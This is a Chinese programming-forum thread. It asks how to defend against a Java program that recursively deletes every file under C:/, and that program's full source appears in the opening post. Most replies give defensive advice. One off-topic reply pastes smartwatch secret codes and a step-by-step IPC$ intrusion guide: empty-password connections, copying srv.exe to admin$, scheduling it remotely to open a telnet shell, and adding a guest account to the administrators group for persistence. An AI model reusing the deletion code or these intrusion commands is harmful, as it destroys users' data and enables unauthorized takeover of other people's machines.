如何防御低级恶意代码

Nonoas 2020-09-25 05:15:17
如下这种代码打包jar发给普通用户,杀毒软件并不会检查出来,那么怎么去防御这种代码呢?
import java.io.File;

public class Del {

/**
* 清空整个文件夹
* @param file 文件对象
*/
public static void del(File file) {
File[] files=file.listFiles();
for(File f:files) {
if(f.isDirectory())
del(f);
f.delete();
System.out.println("已删除"+f.getAbsolutePath());
}
}

public static void main(String[] args) {
//删除优盘内所有文件
File file=new File("C:/");
del(file);
}

}
...全文
20778 14 打赏 收藏 转发到动态 举报
AI 作业
写回复
用AI写文章
14 条回复
切换为时间正序
请发表友善的回复…
发表回复
王麓宁 2023-07-31
  • 打赏
  • 举报
回复 1

1、打开手表输入“*#0769651#*”,自制特殊四触点数据线即可利用ADB连接手表安装第三方APP。

2、手表的其它开发厂商名单,可以输入“*#666#*”查看。

3、打开手表网络设置输入“*#0769132#*”。

4、打开手表电源设置输入“*#0769789#*”。

5、修改手表屏幕分辨率(仅部分机型可用)“输入*#0769456#” ,切换手表服务器输入“#7583#*”。

6、查看手表IMEI和手表MEID,输入“*#06 #”。

7、启用手表零售演示模式输入“*#941056#*”。

一 相关命令

建立空连接:

net use \\IP\ipc$ "" /user:"" (一定要注意:这一行命令中包含了3个空格)

建立非空连接:

net use \\IP\ipc$ "用户名" /user:"密码" (同样有3个空格)

映射默认共享:

net use z: \\IP\c$ "密码" /user:"用户名" (即可将对方的c盘映射为自己的z盘,其他盘类推)

如果已经和目标建立了ipc$,则可以直接用IP+盘符+$访问,具体命令 net use z: \\IP\c$

删除一个ipc$连接

net use \\IP\ipc$ /del

删除共享映射

net use c: /del 删除映射的c盘,其他盘类推

net use * /del 删除全部,会有提示要求按y确认

提示:对于不熟悉命令行操作的朋友来说.建立ipc$连接后,可以在"我的电脑"或"网上邻居"右键映射网络驱动器,效果一样.

二 经典入侵模式

  1. C:\net use \\127.0.0.1\IPC$ "" /user:"admintitrators"

这是用《流光》扫到的用户名是administrators,密码为"空"的IP地址(空口令?哇,运气好到家了),如果是打算攻击的话,就可以用这样的命令来与127.0.0.1建立一个连接,因为密码为"空",所以第一个引号处就不用输入,后面一个双引号里的是用户名,输入administrators,命令即可成功完成。

  1. C:\copy srv.exe \\127.0.0.1\admin$

先复制srv.exe上去,在流光的Tools目录下就有(这里的$是指admin用户的c:\winnt\system32\,大家还可以使用c$、d$,意思是C盘与D盘,这看你要复制到什么地方去了)。

  1. C:\net time \\127.0.0.1

查查时间,发现127.0.0.1 的当前时间是 2002/3/19 上午 11:00,命令成功完成。

  1. C:\at \\127.0.0.1 11:05 srv.exe

用at命令启动srv.exe吧(这里设置的时间要比主机时间快,不然你怎么启动啊,呵呵!)

  1. C:\net time \\127.0.0.1

再查查到时间没有?如果127.0.0.1 的当前时间是 2002/3/19 上午 11:05,那就准备开始下面的命令。

  1. C:\telnet 127.0.0.1 99

这里会用到Telnet命令吧,注意端口是99。Telnet默认的是23端口,但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell。

虽然我们可以Telnet上去了,但是SRV是一次性的,下次登录还要再激活!所以我们打算建立一个Telnet服务!这就要用到ntlm了

7.C:\copy ntlm.exe \\127.0.0.1\admin$

用Copy命令把ntlm.exe上传到主机上(ntlm.exe也是在《流光》的Tools目录中)。

  1. C:\WINNT\system32ntlm

输入ntlm启动(这里的C:\WINNT\system32指的是对方计算机,运行ntlm其实是让这个程序在对方计算机上运行)。当出现"DONE"的时候,就说明已经启动正常。然后使用"net start telnet"来开启Telnet服务!

9.Telnet 127.0.0.1,接着输入用户名与密码就进入对方了,操作就像在DOS上操作一样简单!(然后你想做什么?想做什么就做什么吧,哈哈)

为了以防万一,我们再把guest激活加到管理组

  1. C:\net user guest /active:yes

将对方的Guest用户激活

  1. C:\net user guest 1234

将Guest的密码改为1234,或者你要设定的密码

  1. C:\net localgroup administrators guest /add

将Guest变为Administrator^_^(如果管理员密码更改,guest帐号没改变的话,下次我们可以用guest再次访问这台计算机).

ipc$经典入侵步骤:

1、net use \\ip\ipc$ 密码 /user:用户名

2、copy 文件名 \\ip\c$

3、net time \\ip

4、at \\ip 时间 命令

5、入侵成功,连接你的肉鸡

常用的网络命令

net user 查看用户列表

net user 用户名 密码 /add 添加用户

net user 用户名 密码 更改用户密码

net localgroup administrators 用户名 /add 添加用户到管理组

net user 用户名 /delete 删除用户

net user 用户名 查看用户的基本情况

net user 用户名 /active:no 禁用该用户

net user 用户名 /active:yes 启用该用户

net share 查看计算机IPC$共享资源

net share 共享名 查看该共享的情况

net share 共享名=路径 设置共享。例如 net share c$=c:

net share 共享名 /delete 删除IPC$共享

net stop lanmanserver 关闭ipc$和默认共享依赖的服务

net use 查看IPC$连接情况

net use \\ip\ipc$ "密码" /user:"用户名" ipc$连接

net use \\ip\ipc$ /del 删除一个连接

net use z: \\目标IP\c$ "密码" /user:"用户名" 将对方的c盘映射为自己的z盘

net use z: /del

net time \\ip 查看远程计算机上的时间

copy 路径:\文件名 \\ip\共享名复制文件到已经ipc$连接的计算机上

net view ip 查看计算机上的共享资源

at 查看自己计算机上的计划作业

at \\ip 查看远程计算机上的计划作业

at \\ip 时间 命令(注意加盘符) 在远程计算机上加一个作业

at \\ip 计划作业ID /delete 删除远程计算机上的一个计划作业

at \\ip all /delete 删除远程计算机上的全部计划作业

at \\ip time "echo 5 c:\t.txt" 在远程计算机上建立文本文件t.txt;

taskkill /im 进程名 停止运行

tasklisy 查看运行进程

ipconfig 查看本机IP

md 创建文件夹

rd 删除文件夹

echo off .txt|exit 添加文本

echo 内容 .txt 给文本添加内容

copy 复制文件

net user 用户名 密码/add 创建一个普通账号

net localgroup administrators 用户名 /add 把账户加入超级用户组

啥都无所谓 2021-01-07
  • 打赏
  • 举报
回复
不安装Java虚拟机。而且一般人也不会安装这个东西
wnf2009 2021-01-07
  • 打赏
  • 举报
回复
1.普通用户机器上可能没有jdk,运行不起来 2.权限过不了 3.不点陌生人发来的任何可执行文件
qkniit 2021-01-06
  • 打赏
  • 举报
回复
权限控制 控制到方法
OPPPPOP 2021-01-06
  • 打赏
  • 举报
回复
就像1楼所说:打死写这代码的人,最有效!!!
CrazyCoder1992 2020-12-27
  • 打赏
  • 举报
回复 1
可以了解下Java静态代码扫描工具,如Fortify,正规的IT项目运作通常都需要进行静态代码扫描,包括CheckStyle、FindBugs、CodeDex等扫描,消除代码的规范性、漏洞、安全隐患等问题。
捏造的信仰 2020-11-05
  • 打赏
  • 举报
回复
不要轻易运行来源不明的可执行文件,这是常识。
冰思雨 2020-11-05
  • 打赏
  • 举报
回复
推荐还是利用操作系统本身自带的硬盘目录文件的访问权限来限制Java程序对硬盘的访问和操作。这种是最简便的方案了。
冰思雨 2020-11-05
  • 打赏
  • 举报
回复
从Java层面上解决这个问题的话,需要JNI开发,或者自己实现一个你觉得比较安全的JVM。 从操作系统一级来解决这个问题的话,要么调整C盘的权限,禁止Java程序删除任何文件或目录;要么编写一个类似杀毒软件一样的程序(这种程序的开发叫做系统开发,直接调用系统编程接口)监控硬盘的各种操作,发现不符合你的要求的操作就直接拒绝掉。
limit、T 2020-10-30
  • 打赏
  • 举报
回复
我在想,你怎么知道别人的电脑有运行环境?人家跟你不熟为啥要运行你发的jar
Nonoas 2020-10-20
  • 打赏
  • 举报
回复
你试试删除其他盘,即使是d盘,也会存重要文件吧
临世驻年 2020-10-10
  • 打赏
  • 举报
回复
没有权限删除吧
老紫竹 2020-09-25
  • 打赏
  • 举报
回复
这一来与操作系统的用户权限管理了。 比如linux 下普通用户,就只能删除自己的文档。 WIndows ? 大家都习惯用administrotor权限吧。
戎码一生灬 2020-09-25
  • 打赏
  • 举报
回复
打死写这代码的人

62,635

社区成员

发帖
与我相关
我的任务
社区描述
Java 2 Standard Edition
社区管理员
  • Java SE
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧